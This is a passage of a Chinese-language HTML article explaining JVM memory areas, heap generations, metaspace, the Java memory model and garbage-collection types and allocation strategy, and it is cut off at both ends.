serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">本地方法栈也是线程私有的</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">本地方法可以通过本地方法接口来访问虚拟机内部的运行时数据区，它甚至可以直接使用本地处理器中的寄存器，直接从本地内存的堆中分配任意数量的内存</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">在 Hotspot JVM 中，直接将本地方法栈和虚拟机栈合二为一</p></li></ul><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">堆内存</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">虚拟机把堆内存<strong>逻辑上</strong>划分成三块区域（分代的唯一理由就是优化 GC 性能）</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">新生带（年轻代）：新对象和没达到一定年龄的对象都在新生代</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">老年代（养老区）：被长时间使用的对象，老年代的内存空间应该要比年轻代更大</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">元空间（JDK1.8 之前叫永久代）：像一些方法中的操作临时对象等，JDK1.8 之前是占用 JVM 内存，JDK1.8 之后直接使用物理内存</p></div></li></ul><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.41333333333333333" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="jpeg" data-w="450" src="https://wechat2rss.xlab.app/img-proxy/?k=504fab0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs91nlwnUW45HOawPouxlTEoIE6JwaBKg7RKiawbQD2h99kSSA1yfZib92g%2F640%3Fwx_fmt%3Djpeg"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">JDK7</figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><div style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">-Xms</p> 用来表示堆的起始内存，等价于 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">-XX:InitialHeapSize</p>默认情况下，初始堆内存大小为：电脑内存大小/64</div></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><div style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">-Xmx</p> 用来表示堆的最大内存，等价于 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">-XX:MaxHeapSize</p>默认情况下，最大堆内存大小为：电脑内存大小/4</div></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">new 的对象先放在伊甸园区，此区有大小限制</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">当伊甸园的空间填满时，程序又需要创建对象，JVM 的垃圾回收器将对伊甸园区进行垃圾回收（Minor GC），将伊甸园区中的不再被其他对象所引用的对象进行销毁。再加载新的对象放到伊甸园区</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">然后将伊甸园中的剩余对象移动到幸存者 0 区</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">如果再次触发垃圾回收，此时上次幸存下来的放到幸存者 0 区，如果没有回收，就会放到幸存者 1 区</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">如果再次经历垃圾回收，此时会重新放回幸存者 0 区，接着再去幸存者 1 区</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">什么时候才会去养老区呢？ 默认是 15 次回收标记</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">在养老区，相对悠闲。当养老区内存不足时，再次触发 Major GC，进行养老区的内存清理</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">若养老区执行了 Major GC 之后发现依然无法进行对象的保存，就会产生 OOM 异常</p></div></li></ul><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">方法区</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">方法区（Method Area）与 Java 堆一样，是所有线程共享的内存区域。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong><span style="text-decoration:underline;">方法区用于存储已被虚拟机加载的类型信息、常量、静态变量、即时编译器编译后的代码缓存等。</span></strong></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">虽然 Java 虚拟机规范把方法区描述为堆的一个逻辑部分，但是它却有一个别名叫 Non-Heap（非堆），目的应该是与 Java 堆区分</p><div style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">运行时常量池（Runtime Constant Pool）是方法区的一部分。Class 文件中除了有类的版本/字段/方法/接口等描述信息外，还有一项信息是常量池（Constant Pool Table），用于存放编译期生成的各种字面量和符号引用，这部分内容将类在加载后进入方法区的运行时常量池中存放。运行期间也可能将新的常量放入池中，这种特性被开发人员利用得比较多的是 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">String.intern()</p>方法。受方法区内存的限制，当常量池无法再申请到内存时会抛出 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">OutOfMemoryErro</p>r 异常</div><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">**方法区（method area）*<em>只是 **JVM 规范**中定义的一个*<em>概念</em></em>，用于存储类信息、常量池、静态变量、JIT编译后的代码等数据，并没有规定如何去实现它，不同的厂商有不同的实现</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>永久代（PermGen）**是 **Hotspot** 虚拟机特有的概念， Java8 的时候又被**元空间</strong>取代了</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">永久代物理是堆的一部分，和新生代，老年代地址是连续的（受垃圾回收器管理），而元空间存在于本地内存（我们常说的堆外内存，不受垃圾回收器管理），这样就不受 JVM 限制了，也比较难发生OOM（都会有溢出异常）</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">存储内容不同，元空间存储类的元信息，静态变量和常量池等并入堆中。相当于永久代的数据被分到了堆和元空间中</p></li></ul><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">内存模型</h3><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.8455445544554455" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="png" data-w="505" src="https://wechat2rss.xlab.app/img-proxy/?k=2eba6769&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9QicgdtGbSJxnNEHcmiaQqesSJtt4icfjlPGTcauTmd47rdQLTJaZr9q8A%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">java-memory-model-3 <em style="color: black;">1</em>.png</figcaption></figure><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.4700122399020808" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="png" data-w="817" src="https://wechat2rss.xlab.app/img-proxy/?k=f688834b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9DceQpyAQTkKvFG3oP0ZrZGsXDG9ibpiaW2icr1poLEgG4WgTOeiaNlqjHg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">img</figcaption></figure><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JMM编译器及处理器重排序、顺序一致性、happen-before（略）</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Java 程序的内存可见性保证按程序类型可以分为下列三类：</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">单线程程序。单线程程序不会出现内存可见性问题。编译器，runtime 和处理器会共同确保单线程程序的执行结果与该程序在顺序一致性模型中的执行结果相同。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">正确同步的多线程程序。正确同步的多线程程序的执行将具有顺序一致性（程序的执行结果与该程序在顺序一致性内存模型中的执行结果相同）。这是 JMM 关注的重点，JMM 通过限制编译器和处理器的重排序来为程序员提供内存可见性保证。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">未同步 / 未正确同步的多线程程序。JMM 为它们提供了最小安全性保障：线程执行时读取到的值，要么是之前某个线程写入的值，要么是默认值（0，null，false）。</p></li></ul><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://pdai.tech/md/java/jvm/java-jvm-jmm.html" target="_blank">https://pdai.tech/md/java/jvm/java-jvm-jmm.html</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">详细内容在这里，建议用到条件竞争等涉及多线程内存读写相关的漏洞或者JVM性能优化相关的内容再看，不然看过也会忘。</p><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">GC垃圾回收</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">使用可达性分析算法，通过 GC Roots 作为起始点进行搜索，能够到达到的对象都是存活的，不可达的对象可被回收</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">虚拟机栈中引用的对象</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">本地方法栈中引用的对象</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">方法区中类静态属性引用的对象</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">方法区中的常量引用的对象</p></li></ul><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">方法区的回收主要是对常量池的回收和对类的卸载</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">类的卸载条件很多，需要满足以下三个条件，并且满足了也不一定会被卸载:</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">该类所有的实例都已经被回收，也就是堆中不存在该类的任何实例。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">加载该类的 ClassLoader 已经被回收。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">该类对应的 Class 对象没有在任何地方被引用，也就无法在任何地方通过反射访问该类方法</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">当一个对象可被回收时，如果需要执行该对象的 finalize() 方法，那么就有可能通过在该方法中让对象重新被引用，从而实现自救。自救只能进行一次，如果回收的对象之前调用了 finalize() 方法自救，后面回收时不会调用 finalize() 方法</p></li></ul><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Minor GC、Major GC、Full GC</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JVM 在进行 GC 时，并非每次都对堆内存（新生代、老年代；方法区）区域一起回收的，大部分时候回收的都是指新生代。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">针对 HotSpot VM 的实现，它里面的 GC 按照回收区域又分为两大类：部分收集（Partial GC），整堆收集（Full GC）</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">部分收集：不是完整收集整个 Java 堆的垃圾收集。其中又分为：</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">目前只有 G1 GC 会有这种行为</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">目前，只有 CMS GC 会有单独收集老年代的行为</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">很多时候 Major GC 会和 Full GC 混合使用，需要具体分辨是老年代回收还是整堆回收</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">新生代收集（Minor GC/Young GC）：只是新生代的垃圾收集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">老年代收集（Major GC/Old GC）：只是老年代的垃圾收集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">混合收集（Mixed GC）：收集整个新生代以及部分老年代的垃圾收集</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">整堆收集（Full GC）：收集整个 Java 堆和方法区的垃圾</p></li></ul><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">内存分配策略</h3><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"># 1. 对象优先在 Eden 分配</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">大多数情况下，对象在新生代 Eden 区分配，当 Eden 区空间不够时，发起 Minor GC。</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"># 2. 大对象直接进入老年代</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">大对象是指需要连续内存空间的对象，最典型的大对象是那种很长的字符串以及数组。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">经常出现大对象会提前触发垃圾收集以获取足够的连续空间分配给大对象。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">-XX:PretenureSizeThreshold，大于此值的对象直接在老年代分配，避免在 Eden 区和 Survivor 区之间的大量内存复制。</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"># 3. 长期存活的对象进入老年代</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">为对象定义年龄计数器，对象在 Eden 出生并经过 Minor GC 依然存活，将移动到 Survivor 中，年龄就增加 1 岁，增加到一定年龄则移动到老年代中。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 